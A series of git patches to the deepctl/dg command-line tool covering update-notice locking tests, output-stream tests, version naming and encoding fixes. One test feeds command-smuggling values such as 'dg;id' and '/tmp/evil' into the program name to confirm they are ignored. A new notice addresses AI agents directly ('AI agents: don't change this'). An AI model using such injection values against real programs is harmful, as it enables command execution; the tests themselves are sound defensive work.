+        self._state(check_allowed)
+        assert check_cache.claim_notice(check_cache.UPDATE_FILE, "2.0.0", 86400.0)
+        check_cache.write(check_cache.UPDATE_FILE, ok=False, latest=None, source="x")
+        check_cache.write(check_cache.UPDATE_FILE, ok=True, latest="2.0.0", source="x")
+        mod._result = {"latest": "2.0.0", "current": "1.0.0"}
+        mod._thread = _finished_thread()
+        err = io.StringIO()
+        with patch.object(sys, "stderr", err):
+            print_pending_notification()
+        assert err.getvalue() == ""
+
+    def test_a_claim_during_a_check_write_is_kept(self, check_allowed, monkeypatch):
+        """A claim made while another process's check is between reading
+        the state and saving it isn't erased by that save."""
+        self._state(check_allowed)
+        real_read, real_save = check_cache.read, check_cache._save
+        read_done, claim_done = threading.Event(), threading.Event()
+
+        def writer() -> bool:
+            return threading.current_thread() is checker
+
+        def read(name):
+            state = real_read(name)
+            if writer():
+                read_done.set()
+            return state
+
+        def save(name, state):
+            if writer():
+                claim_done.wait(5.0)
+            real_save(name, state)
+
+        monkeypatch.setattr(check_cache, "read", read)
+        monkeypatch.setattr(check_cache, "_save", save)
+        checker = threading.Thread(
+            target=check_cache.write,
+            args=(check_cache.UPDATE_FILE,),
+            kwargs={"ok": True, "latest": "2.0.0", "source": "x"},
+        )
+        checker.start()
+        assert read_done.wait(5.0)
+        first = check_cache.claim_notice(check_cache.UPDATE_FILE, "2.0.0", 86400.0)
+        claim_done.set()
+        checker.join(5.0)
+        second = check_cache.claim_notice(check_cache.UPDATE_FILE, "2.0.0", 86400.0)
+        assert [first, second].count(True) == 1, (first, second)
+        assert not list(check_allowed.glob(".*.lock"))
+
+    def test_a_lock_that_cannot_be_made_still_shows(self, check_allowed, monkeypatch):
+        """No lock can be created (read-only mount, full disk): the notice
+        shows rather than never."""
+        self._state(check_allowed)
+        real_open = os.open
+
+        def no_lock(path, *args, **kwargs):
+            if str(path).endswith(".lock"):
+                raise PermissionError(13, "Permission denied")
+            return real_open(path, *args, **kwargs)
+
+        monkeypatch.setattr(check_cache.os, "open", no_lock)
+        claimed = check_cache.claim_notice(check_cache.UPDATE_FILE, "2.0.0", 86400.0)
+        assert claimed is True
+
+    def test_a_newer_version_shows_again(self, check_allowed):
+        self._state(check_allowed, notified_at=time.time(), notified_latest="1.5.0")
+        mod._result = {"latest": "2.0.0", "current": "1.0.0"}
+        mod._thread = _finished_thread()
+        err = io.StringIO()
+        with patch.object(sys, "stderr", err):
+            print_pending_notification()
+        assert err.getvalue().count("Update available") == 1
diff --git a/packages/deepctl-core/src/deepctl_core/agents.py b/packages/deepctl-core/src/deepctl_core/agents.py
index 570b106b..64dcc5b7 100644
--- a/packages/deepctl-core/src/deepctl_core/agents.py
+++ b/packages/deepctl-core/src/deepctl_core/agents.py
@@ -369,3 +369,30 @@ def detect(
             True, False, marker.agent_id, marker.reason, marker, soft, None
         )
     return Detection(False, soft is not None, None, soft, None, soft, None)
+
+
+def mode_notice(prog: str, env: Mapping[str, str] | None = None) -> str | None:
+    """The line telling a person why dg is in agent mode, or ``None``.
+
+    Only when a hard signal (not ``DG_AGENT``) turned agent mode on and
+    stdin and stderr are terminals: a person at a keyboard who may have the
+    variable set by accident. It names no shell command, so it reads the
+    same in every shell.
+    """
+    env = _environ(env)
+    if override(env) is not None:
+        return None
+    marker = hard_match(env)
+    if marker is None or not (_isatty(sys.stdin) and _isatty(sys.stderr)):
+        return None
+    if marker.session:
+        return (
+            "This shell looks like an AI agent session (detected via "
+            f"{marker.reason}). If you are a person, see {prog} help agent-mode. "
+            "AI agents: don't change this."
+        )
+    return (
+        f"Using agent mode because {marker.reason} is set. If you are a person, "
+        f"remove {marker.reason} from your environment and shell profile "
+        f"(see {prog} help agent-mode). AI agents: don't change this."
+    )
diff --git a/packages/deepctl-core/src/deepctl_core/config.py b/packages/deepctl-core/src/deepctl_core/config.py
index b310a6b9..b441ff78 100644
--- a/packages/deepctl-core/src/deepctl_core/config.py
+++ b/packages/deepctl-core/src/deepctl_core/config.py
@@ -1337,18 +1337,31 @@ def _migrate_config_if_needed(self, new_config_dir: Path) -> None:
             return
         # If old config exists and new doesn't, migrate it
         if old_config_path.exists() and not new_config_path.exists():
+            # Queued like every config notice: stderr, once, in the run's
+            # output mode.
+            old_shown = msg.display(str(old_config_path))
+            new_shown = msg.display(str(new_config_path))
             try:
-                print(
-                    f"Migrating config from {old_config_path} to {new_config_path}",
-                    file=sys.stderr,
-                )
                 text = old_config_path.read_text(encoding="utf-8")
                 # Written like any save: 0600, atomic, never via the source's mode.
                 with _directory_lock(new_config_dir):
                     self._replace_or_rewrite(new_config_path, text)
-                print("✓ Config migrated successfully", file=sys.stderr)
+                _queue_notice(
+                    "I-CFG-MIGRATED",
+                    str(new_config_path),
+                    f"Copied the config from {old_shown} to {new_shown}.",
+                    None,
+                    quiet_ok=True,
+                )
             except Exception as e:
-                print(f"Warning: Could not migrate config: {e}", file=sys.stderr)
+                _queue_notice(
+                    "W-CFG-MIGRATE",
+                    str(new_config_path),
+                    f"Could not migrate config from {old_shown} to {new_shown}: "
+                    f"{msg.display(str(e))}",
+                    None,
+                    quiet_ok=False,
+                )
 
     def _get_project_config_path(self) -> Path:
         """Get the project-specific configuration path."""
diff --git a/packages/deepctl-core/tests/unit/test_agents.py b/packages/deepctl-core/tests/unit/test_agents.py
index 2a54231c..4dd065cc 100644
--- a/packages/deepctl-core/tests/unit/test_agents.py
+++ b/packages/deepctl-core/tests/unit/test_agents.py
@@ -274,6 +274,45 @@ def test_no_color_never_counts(self, monkeypatch):
         assert agents.soft_reason(_env(TERM="dumb"), []) == "no terminal"
 
 
+class TestNotice:
+    SHELL_WORDS = ("unset", "export ", "set -e", "Remove-Item", "$env:", "DG_AGENT")
+
+    @pytest.fixture
+    def person(self, monkeypatch):
+        monkeypatch.setattr("sys.stdin.isatty", lambda: True)
+        monkeypatch.setattr("sys.stderr.isatty", lambda: True)
+
+    def test_variable_row(self, person):
+        line = agents.mode_notice("dg", _env(CLAUDECODE="1"))
+        assert line == (
+            "Using agent mode because CLAUDECODE is set. If you are a person, "
+            "remove CLAUDECODE from your environment and shell profile "
+            "(see dg help agent-mode). AI agents: don't change this."
+        )
+        assert not any(word in line for word in self.SHELL_WORDS)
+
+    def test_session_row(self, person):
+        line = agents.mode_notice("deepctl", {"PATH": "/h/.pi/agent:/usr/bin"})
+        assert line == (
+            "This shell looks like an AI agent session (detected via a .pi/agent "
+            "entry in PATH). If you are a person, see deepctl help agent-mode. "
+            "AI agents: don't change this."
+        )
+        assert not any(word in line for word in self.SHELL_WORDS)
+
+    @pytest.mark.parametrize("value", ["0", "1"])
+    def test_never_when_dg_agent_decides(self, person, value):
+        assert agents.mode_notice("dg", _env(DG_AGENT=value, CLAUDECODE="1")) is None
+
+    def test_never_without_a_person_at_a_terminal(self, monkeypatch):
+        monkeypatch.setattr("sys.stdin.isatty", lambda: False)
+        monkeypatch.setattr("sys.stderr.isatty", lambda: True)
+        assert agents.mode_notice("dg", _env(CLAUDECODE="1")) is None
+
+    def test_never_for_people(self, person):
+        assert agents.mode_notice("dg", _env()) is None
+
+
 def test_stdlib_only():
     """Detection runs before anything heavy loads; it imports only stdlib."""
     code = (
diff --git a/packages/deepctl-core/tests/unit/test_config_login.py b/packages/deepctl-core/tests/unit/test_config_login.py
index 1528f122..6efaa091 100644
--- a/packages/deepctl-core/tests/unit/test_config_login.py
+++ b/packages/deepctl-core/tests/unit/test_config_login.py
@@ -29,8 +29,11 @@ def test_legacy_migration_prints_to_stderr_only(tmp_path, monkeypatch, capsys):
     monkeypatch.setattr(Path, "home", staticmethod(lambda: home))
     monkeypatch.setattr("deepctl_core.output.is_ai_agent", lambda: False)
     monkeypatch.chdir(tmp_path)
+    from deepctl_core import config as config_module
+
     Config()
+    config_module.flush_config_notices()
     captured = capsys.readouterr()
     assert captured.out == ""
-    assert "Migrating config" in captured.err
+    assert captured.err.count("Copied the config from") == 1
     assert os.path.exists(home / ".config" / "deepctl" / "config.yaml")
diff --git a/src/deepctl/_cli.py b/src/deepctl/_cli.py
index 1a5f823c..1bdd5555 100644
--- a/src/deepctl/_cli.py
+++ b/src/deepctl/_cli.py
@@ -32,7 +32,7 @@
 )
 from deepctl_core.output import stderr_console
 
-from deepctl import __version__, _manifest
+from deepctl import _manifest
 
 if TYPE_CHECKING:
     from collections.abc import Callable
@@ -712,9 +712,27 @@ def _argv_config_path(args: list[str]) -> str | None:
     return found
 
 
+def _show_version(ctx: click.Context, param: click.Parameter, value: bool) -> None:
+    """``--version`` past the argv peek: the line ``deepctl.main`` prints."""
+    del param
+    if not value or ctx.resilient_parsing:
+        return
+    from deepctl.main import version_line
+
+    click.echo(version_line(), color=ctx.color)
+    ctx.exit()
+
+
 # Create CLI group
 @click.group(name="deepctl", cls=LazyGroup)
-@click.version_option(version=__version__, prog_name="deepctl")
+@click.option(
+    "--version",
+    is_flag=True,
+    expose_value=False,
+    is_eager=True,
+    callback=_show_version,
+    help="Show the version and exit.",
+)
 @click.option(
     "--config",
     "-c",
@@ -1098,6 +1116,26 @@ def _start_checks(quiet: bool) -> list[Callable[[], object]]:
     return pending
 
 
+def _agent_mode_notice(quiet: bool) -> None:
+    """Tell a person at a terminal, once per run, that an AI-agent marker in
+    their environment put dg in agent mode (``deepctl_core.agents``)."""
+    if quiet:
+        return
+    from deepctl_core import agents, output
+
+    try:
+        line = agents.mode_notice("{prog}")
+        if line is None:
+            return
+        from rich.markup import escape
+
+        output.print_info(
+            escape(line.replace("{prog}", output.invoked_prog())), stderr=True
+        )
+    except (OSError, ValueError):
+        pass
+
+
 def _record_startup(started_at: float) -> None:
     """Add process startup (from ``main()``'s first line) to ``--timing``."""
     from deepctl_core.timing import TimingEntry, get_timing_collector
@@ -1188,6 +1226,8 @@ def run(
         # Background update and AI-CLI checks (non-blocking). Not for help,
         # which makes no network connection and prints only the help.
         pending = [] if _is_help_run(args) else _start_checks(quiet_requested)
+        if not _is_help_run(args):
+            _agent_mode_notice(quiet_requested)
 
         # Root `dg --help` is saved for the native launcher when it asks
         # (DEEPCTL_HELP_CACHE=1), outside an AI agent, unless the run writes
diff --git a/src/deepctl/main.py b/src/deepctl/main.py
index ddd3d144..ceb0bfe1 100644
--- a/src/deepctl/main.py
+++ b/src/deepctl/main.py
@@ -3,8 +3,8 @@
 Only ``sys`` and ``os`` are imported at module level. ``main()`` peeks at
 argv first, so two paths finish without Click or ``deepctl_core``:
 
-- ``dg --version`` prints the version constant (the same bytes Click printed
-  in 0.4.x) and exits 0.
+- ``dg --version`` prints the version line (the same bytes as the Click
+  path) and exits 0.
 - ``dg mcp`` (stdio, no other options) answers the MCP handshake locally in
   ``deepctl.mcp._fast`` and hands the session to the proxy on the first call.
 
@@ -143,6 +143,23 @@ def _rich_excepthook(
     sys.excepthook(exc_type, exc, tb)
 
 
+def version_line() -> str:
+    """``<name>, version <version>``: ``DEEPCTL_PROG_NAME`` when a launcher
+    sets it to a plain program name, else the name the user typed (``dg``,
+    ``deepgram`` or ``deepctl``), else ``deepctl`` (``python -m deepctl``,
+    a renamed script). The Click path prints the same line."""
+    from deepctl import __version__
+
+    name = prog_name_from_env()
+    if not name:
+        name = os.path.basename(sys.argv[0]) if sys.argv and sys.argv[0] else ""
+        if os.name == "nt" and name.lower().endswith(".exe"):
+            name = name[:-4]
+        if name not in ("dg", "deepgram", "deepctl"):
+            name = "deepctl"
+    return f"{name}, version {__version__}"
+
+
 # Error handlers that never raise on a character the encoding lacks.
 # "strict" and "surrogateescape" (a C locale) both raise.
 _SAFE_ERRORS = frozenset(
@@ -175,14 +192,10 @@ def safe_output_streams() -> None:
 
 
 def _print_version() -> None:
-    from deepctl import __version__
-
     if sys.stdout is None:  # started with stdout closed (`dg --version >&-`)
         return
     try:
-        # Byte-identical to 0.4.x, where Click's version_option printed this
-        # with prog_name="deepctl" for every console script.
-        sys.stdout.write(f"deepctl, version {__version__}\n")
+        sys.stdout.write(version_line() + "\n")
         sys.stdout.flush()
     except BrokenPipeError:
         # The reader went away (`dg --version | true`): exit quietly, and
diff --git a/tests/unit/test_lazy_group.py b/tests/unit/test_lazy_group.py
index acd96272..7da1284c 100644
--- a/tests/unit/test_lazy_group.py
+++ b/tests/unit/test_lazy_group.py
@@ -324,7 +324,7 @@ def test_prog_name_env(self, tmp_path: Path) -> None:
         proc = _dg(["--help"], tmp_path, DEEPCTL_PROG_NAME="foo")
         assert proc.stdout.startswith("Usage: foo [OPTIONS] COMMAND [ARGS]...")
         version = _dg(["--version"], tmp_path, DEEPCTL_PROG_NAME="foo")
-        assert version.stdout.startswith("deepctl, version ")
+        assert version.stdout.startswith("foo, version ")
 
     def test_alias_help(self, tmp_path: Path) -> None:
         proc = _dg(["debug-audio", "--help"], tmp_path)
diff --git a/tests/unit/test_stream_discipline.py b/tests/unit/test_stream_discipline.py
new file mode 100644
index 00000000..037d0e30
--- /dev/null
+++ b/tests/unit/test_stream_discipline.py
@@ -0,0 +1,280 @@
+"""Warnings, errors and notices stay on stderr: a machine-format stdout holds
+the payload and nothing else, and each warning prints once.
+
+Every case runs dg in a fresh interpreter against a closed loopback port,
+so nothing leaves the machine.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import subprocess
+import sys
+from pathlib import Path
+
+import pytest
+
+ENTRY = "import sys; from deepctl.main import main; sys.exit(main())"
+FAKE_KEY = "fa1ce0000000000000000000000000000000000d"
+AGENT_VARS = (
+    "AI_AGENT",
+    "AGENT",
+    "GOOSE_TERMINAL",
+    "CLAUDE_CODE_IS_COWORK",
+    "CLAUDECODE",
+    "CLAUDE_CODE",
+    "CLAUDE_CODE_ENTRYPOINT",
+    "CODEX_SANDBOX",
+    "CODEX_CI",
+    "CODEX_THREAD_ID",
+    "CODEX_SANDBOX_NETWORK_DISABLED",
+    "GEMINI_CLI",
+    "COPILOT_CLI",
+    "OPENCODE",
+    "ANTIGRAVITY_AGENT",
+    "AUGMENT_AGENT",
+    "CURSOR_AGENT",
+    "CURSOR_EXTENSION_HOST_ROLE",
+    "OR_APP_NAME",
+    "OR_SITE_URL",
+    "DG_AGENT",
+)
+
+
+def _env(home: Path, **extra: str) -> dict[str, str]:
+    env = {
+        k: v
+        for k, v in os.environ.items()
+        if not k.startswith(("DEEPGRAM_", "PYTHON", "DEEPCTL_")) and k not in AGENT_VARS
+    }
+    env.update(
+        HOME=str(home),
+        XDG_CONFIG_HOME=str(home / ".config"),
+        DEEPCTL_TELEMETRY_DISABLED="1",
+        DEEPCTL_TELEMETRY_DSN="http://k@127.0.0.1:9/1",
+        DEEPCTL_NO_UPDATE_CHECK="1",
+        DEEPGRAM_API_KEY=FAKE_KEY,
+        DEEPGRAM_BASE_URL="http://127.0.0.1:9",
+        PATH="/usr/local/bin:/usr/bin:/bin",
+    )
+    env.update(extra)
+    return env
+
+
+def _dg(home: Path, *args: str, **env: str) -> subprocess.CompletedProcess[str]:
+    return subprocess.run(
+        [sys.executable, "-c", ENTRY, *args],
+        stdin=subprocess.DEVNULL,
+        capture_output=True,
+        text=True,
+        env=_env(home, **env),
+        timeout=60,
+        cwd=home,
+    )
+
+
+def _user_config(home: Path) -> Path:
+    path = home / ".config" / "deepctl" / "config.yaml"
+    path.parent.mkdir(parents=True, exist_ok=True)
+    return path
+
+
+@pytest.fixture
+def home(tmp_path: Path) -> Path:
+    root = tmp_path / "home"
+    root.mkdir()
+    return root
+
+
+class TestConfigWarnings:
+    def test_malformed_config_json_stdout_stays_clean(self, home: Path) -> None:
+        _user_config(home).write_text("profiles: [\n  bad", encoding="utf-8")
+        proc = _dg(home, "-o", "json", "models")
+        json.loads(proc.stdout)  # one JSON document, nothing before it
+        assert "Could not load config" not in proc.stdout
+        assert proc.stderr.count("Could not load config") == 1
+        assert "WARN: Could not load config" in proc.stderr
+
+    @pytest.mark.skipif(
+        sys.platform == "win32" or (hasattr(os, "geteuid") and os.geteuid() == 0),
+        reason="root reads any file",
+    )
+    def test_unreadable_config_json_stdout_stays_clean(self, home: Path) -> None:
+        path = _user_config(home)
+        path.write_text("output:\n  format: json\n", encoding="utf-8")
+        path.chmod(0)
+        try:
+            proc = _dg(home, "-o", "json", "models")
+        finally:
+            path.chmod(0o600)
+        json.loads(proc.stdout)
+        assert proc.stderr.count("Could not load config") == 1
+
+    def test_malformed_config_human_output_warns_once_on_stderr(
+        self, home: Path
+    ) -> None:
+        _user_config(home).write_text("profiles: [\n  bad", encoding="utf-8")
+        proc = _dg(home, "models", DG_AGENT="0")
+        assert "Could not load config" not in proc.stdout
+        assert proc.stderr.count("Could not load config") == 1
+
+
+class TestCommandErrors:
+    def test_ffprobe_bad_path_errors_once(self, home: Path) -> None:
+        proc = _dg(home, "ffprobe", "--path", "/nope/ffprobe")
+        assert proc.returncode == 1
+        assert proc.stderr.count("File not found") == 1
+        assert "ERROR: File not found: /nope/ffprobe" in proc.stderr
+        assert json.loads(proc.stdout)["status"] == "error"
+
+    def test_ffprobe_bad_path_human_errors_once(self, home: Path) -> None:
+        proc = _dg(home, "ffprobe", "--path", "/nope/ffprobe", DG_AGENT="0")
+        assert proc.returncode == 1
+        assert proc.stdout == ""
+        assert proc.stderr.count("File not found") == 1
+
+    def test_login_errors_go_to_stderr(self, home: Path) -> None:
+        proc = _dg(home, "login", "--api-key", "bad", DG_AGENT="0")
+        assert proc.returncode != 0
+        assert proc.stdout == ""
+        assert proc.stderr.strip()
+
+    def test_login_errors_machine_format(self, home: Path) -> None:
+        proc = _dg(home, "-o", "json", "login", "--api-key", "bad")
+        assert proc.returncode != 0
+        assert "Error:" not in proc.stdout
+        json.loads(proc.stdout)
+
+
+class TestVersionName:
+    @pytest.mark.parametrize("name", ["dg", "deepctl", "deepgram"])
+    def test_version_names_the_invoked_program(self, home: Path, name: str) -> None:
+        from deepctl import __version__
+
+        code = (
+            f"import sys; sys.argv[0] = '/opt/bin/{name}'; "
+            "from deepctl.main import main; sys.exit(main())"
+        )
+        fast = subprocess.run(
+            [sys.executable, "-c", code, "--version"],
+            capture_output=True,
+            text=True,
+            env=_env(home),
+            timeout=60,
+        )
+        slow = subprocess.run(
+            [sys.executable, "-c", code, "--quiet", "--version"],
+            capture_output=True,
+            text=True,
+            env=_env(home),
+            timeout=60,
+        )
+        assert fast.stdout == f"{name}, version {__version__}\n"
+        assert slow.stdout == fast.stdout
+        assert fast.stderr == slow.stderr == ""
+
+    def test_version_uses_the_launcher_prog_name(self, home: Path) -> None:
+        from deepctl import __version__
+
+        code = (
+            "import sys; sys.argv[0] = '/venv/bin/deepctl'; "
+            "from deepctl.main import main; sys.exit(main())"
+        )
+        for args in (["--version"], ["--quiet", "--version"]):
+            proc = subprocess.run(
+                [sys.executable, "-c", code, *args],
+                capture_output=True,
+                text=True,
+                env=_env(home, DEEPCTL_PROG_NAME="dg"),
+                timeout=60,
+            )
+            assert proc.stdout == f"dg, version {__version__}\n"
+
+    @pytest.mark.parametrize("value", ["/tmp/evil", "dg\x1b[2J", "dg;id", "dg x"])
+    def test_version_ignores_a_name_that_isnt_plain(
+        self, home: Path, value: str
+    ) -> None:
+        from deepctl import __version__
+
+        code = (
+            "import sys; sys.argv[0] = '/venv/bin/deepgram'; "
+            "from deepctl.main import main; sys.exit(main())"
+        )
+        for args in (["--version"], ["--quiet", "--version"]):
+            proc = subprocess.run(
+                [sys.executable, "-c", code, *args],
+                capture_output=True,
+                text=True,
+                env=_env(home, DEEPCTL_PROG_NAME=value),
+                timeout=60,
+            )
+            assert proc.stdout == f"deepgram, version {__version__}\n"
+
+
+class TestAgentModeNotice:
+    """The notice needs a person at a terminal, which a subprocess pipe
+    isn't; deepctl_core.agents' tests cover the wording. Here: never on
+    stdout, and never without a terminal."""
+
+    def test_no_notice_without_a_terminal(self, home: Path) -> None:
+        proc = _dg(home, "-o", "json", "ffprobe", CLAUDECODE="1")
+        assert "agent mode" not in proc.stderr
+        assert "agent mode" not in proc.stdout
+
+    @pytest.mark.skipif(sys.platform == "win32", reason="needs a pty")
+    @pytest.mark.parametrize(
+        ("env", "expected"),
+        [
+            (
+                {"CLAUDECODE": "1"},
+                "INFO: Using agent mode because CLAUDECODE is set. If you are a "
+                "person, remove CLAUDECODE from your environment and shell profile "
+                "(see dg help agent-mode). AI agents: don't change this.",
+            ),
+            ({"CLAUDECODE": "1", "DG_AGENT": "1"}, None),
+            ({"CLAUDECODE": "1", "DG_AGENT": "0"}, None),
+            ({}, None),
+        ],
+    )
+    def test_notice_for_a_person_at_a_terminal(
+        self, home: Path, env: dict[str, str], expected: str | None
+    ) -> None:
+        import pty
+        import select
+
+        master, slave = pty.openpty()
+        code = (
+            "import sys; sys.argv[0] = '/opt/bin/dg'; "
+            "from deepctl.main import main; sys.exit(main())"
+        )
+        proc = subprocess.Popen(
+            [sys.executable, "-c", code, "-o", "json", "ffprobe"],
+            stdin=slave,
+            stdout=subprocess.PIPE,
+            stderr=slave,
+            env=_env(home, TERM="xterm", DEEPCTL_PROG_NAME="dg", **env),
+            cwd=home,
+        )
+        os.close(slave)
+        out, _ = proc.communicate(timeout=60)
+        err = b""
+        while True:
+            ready, _, _ = select.select([master], [], [], 0.5)
+            if not ready:
+                break
+            try:
+                chunk = os.read(master, 65536)
+            except OSError:
+                break
+            if not chunk:
+                break
+            err += chunk
+        os.close(master)
+        text = err.decode("utf-8", "replace").replace("\r\n", "\n")
+        flat = " ".join(text.split())
+        assert b"agent mode" not in out
+        if expected is None:
+            assert "agent mode" not in flat
+        else:
+            assert flat.count(expected) == 1, text

From b7d589db8b68dc093a3f6cbf0fa6f8d6f2e1f03a Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Mon, 2 Nov 2026 08:18:40 -0500
Subject: [PATCH 56/88] style: say what each check does in config and skills
 comments

A few comments and test docstrings in the config loading, credential
and skills code pointed at notes kept outside the repository. They now
describe the behaviour under test instead.
---
 .../src/deepctl_cmd_skills/command.py                |  2 +-
 .../deepctl-core/src/deepctl_core/skill_generator.py | 12 ++++++------
 .../deepctl-core/tests/unit/test_skill_generator.py  |  4 ++--
 3 files changed, 9 insertions(+), 9 deletions(-)

diff --git a/packages/deepctl-cmd-skills/src/deepctl_cmd_skills/command.py b/packages/deepctl-cmd-skills/src/deepctl_cmd_skills/command.py
index 4ecd825e..202a8265 100644
--- a/packages/deepctl-cmd-skills/src/deepctl_cmd_skills/command.py
+++ b/packages/deepctl-cmd-skills/src/deepctl_cmd_skills/command.py
@@ -235,7 +235,7 @@ def _install(self, plan: list[tuple[SkillGenerator, str]], **recheck: Any) -> No
             for gen, paths, leftover in sg.install_for(plan, **recheck):
                 done = f"{gen.display_name}: installed {_n(len(paths), 'skill')} in {gen.skills_root()}."
                 print_success(escape(done))
-                if leftover:  # Only this run's staging (SF3).
+                if leftover:  # Only this run's staging.
                     print_warning(escape(sg._msg("E12", staging=leftover)))
                 count += len(paths)
                 done_refs[gen.cli_name] = refs[gen.cli_name]
diff --git a/packages/deepctl-core/src/deepctl_core/skill_generator.py b/packages/deepctl-core/src/deepctl_core/skill_generator.py
index 412a951f..86ffc155 100644
--- a/packages/deepctl-core/src/deepctl_core/skill_generator.py
+++ b/packages/deepctl-core/src/deepctl_core/skill_generator.py
@@ -146,7 +146,7 @@ def _reason(exc: BaseException) -> str:
 class SkillInstallError(Exception):
     """An install, remove or skills.json failure; the message is one sentence per problem."""
 
-    leftover: Path | None = None  # This run's staging, if cleanup left it (SF3).
+    leftover: Path | None = None  # This run's staging, if cleanup left it.
     kept: Path | None = None  # E4 or E6: where what was at dest was kept.
 
 
@@ -393,7 +393,7 @@ def _ownership(path: Path, cli: str, name: str, rec: dict[str, Any] | None) -> s
             return "unproven"
         fp = _fingerprint(path)
     except OSError:
-        return "unreadable"  # Never "edited", which would drop a record (SF4).
+        return "unreadable"  # Never "edited", which would drop a record.
     return "ok" if fp in want else "edited"
 
 
@@ -914,7 +914,7 @@ def _swap(gen: SkillGenerator, name: str, staging: Path, rec: Any) -> None:
             pass  # Vanished: install as absent.
         except OSError as exc:
             raise _err("E5", gen, reason=_reason(exc))
-    try:  # Starts right after the move, so the copy always goes back (SF1).
+    try:  # Starts right after the move, so the copy always goes back.
         if moved and (kind := _ownership(aside, cli, name, rec)) != "ok":
             raise (refusal := _refusal(gen, dest, kind, rec))  # The real proof.
         _place(staging / "new" / name, dest)
@@ -1039,7 +1039,7 @@ def settle(state: dict[str, Any]) -> None:  # From proof on disk, not ``placed``
                 ok = _marker_ok(dest, cli, s.name)
                 fp = _fingerprint(dest) if ok else None
             except OSError:
-                continue  # Unreadable keeps its record exactly as it is (SF4).
+                continue  # Unreadable keeps its record exactly as it is.
             if fp in want:
                 folders[s.name] = {"state": "installed", "fingerprint": fp}
             elif rec and rec.get("run", run) != run:
@@ -1064,7 +1064,7 @@ def settle(state: dict[str, Any]) -> None:  # From proof on disk, not ``placed``
         staging = Path(tempfile.mkdtemp(prefix=_STAGING_PREFIX, dir=root))
     except OSError as exc:
         raise _err("E5", gen, reason=_reason(exc))
-    try:  # Right after mkdtemp, so cleanup runs after any failure or Ctrl-C (SF1).
+    try:  # Right after mkdtemp, so cleanup runs after any failure or Ctrl-C.
         fps.update(_stage(gen, skills, staging))
         _update_state(mark, "E9", gen)  # Record before swap (B6): nothing moved.
         for s in skills:
@@ -1236,7 +1236,7 @@ def settle(state: dict[str, Any]) -> None:  # Keeps only what proves on disk.
                 continue
             try:  # Covers the move too, so a Ctrl-C right after it puts it back.
                 os.rename(dest, aside)
-                kind = _ownership(aside, cli, name, rec)  # The real proof (SF1).
+                kind = _ownership(aside, cli, name, rec)  # The real proof.
             except FileNotFoundError:
                 continue
             except OSError as exc:  # Nothing moved: _ownership never raises it.
diff --git a/packages/deepctl-core/tests/unit/test_skill_generator.py b/packages/deepctl-core/tests/unit/test_skill_generator.py
index cb412106..66031ba2 100644
--- a/packages/deepctl-core/tests/unit/test_skill_generator.py
+++ b/packages/deepctl-core/tests/unit/test_skill_generator.py
@@ -857,7 +857,7 @@ def test_unrecorded_dest_kinds_refuse(self, tmp_path, kind):
         with pytest.raises(SkillOwnershipError) as exc:
             install(make_bundle(tmp_path))
         assert str(exc.value) == _msg("E1", paths=str(api))
-        assert state_bytes() is None  # No "installing" write happened (SF7).
+        assert state_bytes() is None  # No "installing" write happened.
         assert sha_tree(api) == before
         if target_before is not None:
             assert sha_tree(target) == target_before
@@ -894,7 +894,7 @@ def test_recorded_name_now_symlink_is_never_written_through(self, tmp_path):
         symlink_or_skip(api, rel(mine, api), is_dir=True)
         assert (
             _fingerprint(mine) == records()["api"]["fingerprint"]
-        )  # A real install (SF7).
+        )  # A real install.
         before, saved = sha_tree(mine), state_bytes()
         with pytest.raises(SkillOwnershipError) as exc:
             install(make_bundle(tmp_path, body="v2"))

From c1dc7e9b033fd9d03e4bf0897ef42a90d3870044 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Mon, 2 Nov 2026 09:58:53 -0500
Subject: [PATCH 57/88] fix(cli): escape characters the output encoding can't
 write

On Windows a redirected stdout uses the ANSI code page (cp1252, say).
The banner's block art and the check mark aren't in it, so `dg --help >
file` and the `dg ffprobe --path` success line stopped with "'charmap'
codec can't encode". A stdout or stderr that isn't UTF-8, and whose
error handler raises on such characters (strict, or surrogateescape
under a C locale), now writes them as backslash escapes. The encoding
itself is kept, so a real console keeps the one Python chose, and a
UTF-8 stream is untouched.
---
 src/deepctl/main.py                |  4 ++--
 tests/unit/test_output_encoding.py | 26 ++++++++++++--------------
 2 files changed, 14 insertions(+), 16 deletions(-)

diff --git a/src/deepctl/main.py b/src/deepctl/main.py
index ceb0bfe1..91c152cc 100644
--- a/src/deepctl/main.py
+++ b/src/deepctl/main.py
@@ -171,9 +171,9 @@ def safe_output_streams() -> None:
     """Have stdout and stderr escape what their encoding can't write.
 
     A redirected stream on Windows uses the ANSI code page (cp1252, say),
-    which has no block art: writing the --help banner raised
+    which has no block art or check mark: writing one raised
     UnicodeEncodeError and ended the command. Such a stream now writes
-    ``\\u2588`` instead. A UTF-8 stream is left as it is, and the encoding
+    ``\\u2713`` instead. A UTF-8 stream is left as it is, and the encoding
     never changes, so a real console keeps what Python chose for it.
     """
     import codecs
diff --git a/tests/unit/test_output_encoding.py b/tests/unit/test_output_encoding.py
index 9ac596f5..4cf9fe6a 100644
--- a/tests/unit/test_output_encoding.py
+++ b/tests/unit/test_output_encoding.py
@@ -11,14 +11,11 @@
 import os
 import subprocess
 import sys
-from typing import TYPE_CHECKING
+from pathlib import Path
 
 import pytest
 
-from deepctl.main import safe_output_streams
-
-if TYPE_CHECKING:
-    from pathlib import Path
+from deepctl import main as dg_main
 
 
 def _stream(encoding: str, errors: str = "strict") -> io.TextIOWrapper:
@@ -40,7 +37,7 @@ def test_cp1252_stream_escapes_instead_of_raising(
     out, err = _stream("cp1252", errors), _stream("cp1252", errors)
     monkeypatch.setattr(sys, "stdout", out)
     monkeypatch.setattr(sys, "stderr", err)
-    safe_output_streams()
+    dg_main.safe_output_streams()
     out.write("ok ✓ café █")
     err.write("✗")
     assert _written(out) == b"ok \\u2713 caf\xe9 \\u2588"
@@ -52,7 +49,7 @@ def test_cp1252_stream_escapes_instead_of_raising(
 def test_utf8_stream_is_untouched(monkeypatch: pytest.MonkeyPatch) -> None:
     out = _stream("UTF-8")
     monkeypatch.setattr(sys, "stdout", out)
-    safe_output_streams()
+    dg_main.safe_output_streams()
     assert out.errors == "strict"
     assert out.encoding == "UTF-8"
 
@@ -60,7 +57,7 @@ def test_utf8_stream_is_untouched(monkeypatch: pytest.MonkeyPatch) -> None:
 def test_chosen_error_handler_is_kept(monkeypatch: pytest.MonkeyPatch) -> None:
     out = _stream("cp1252", "replace")
